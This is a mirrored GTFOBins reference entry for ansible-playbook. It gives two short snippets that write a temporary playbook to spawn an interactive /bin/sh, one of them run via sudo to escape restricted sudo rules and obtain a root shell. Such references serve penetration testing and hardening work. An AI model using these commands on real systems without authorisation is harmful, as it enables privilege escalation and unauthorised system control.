mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 22:40:10 +01:00
ee3eb38ee4
Co-authored-by: Andrea Cardaci <cyrus.and@gmail.com>
14 lines
363 B
Markdown
14 lines
363 B
Markdown
---
|
|
functions:
|
|
shell:
|
|
- code: |
|
|
TF=$(mktemp)
|
|
echo '[{hosts: localhost, tasks: [shell: /bin/sh </dev/tty >/dev/tty 2>/dev/tty]}]' >$TF
|
|
ansible-playbook $TF
|
|
sudo:
|
|
- code: |
|
|
TF=$(mktemp)
|
|
echo '[{hosts: localhost, tasks: [shell: /bin/sh </dev/tty >/dev/tty 2>/dev/tty]}]' >$TF
|
|
sudo ansible-playbook $TF
|
|
---
|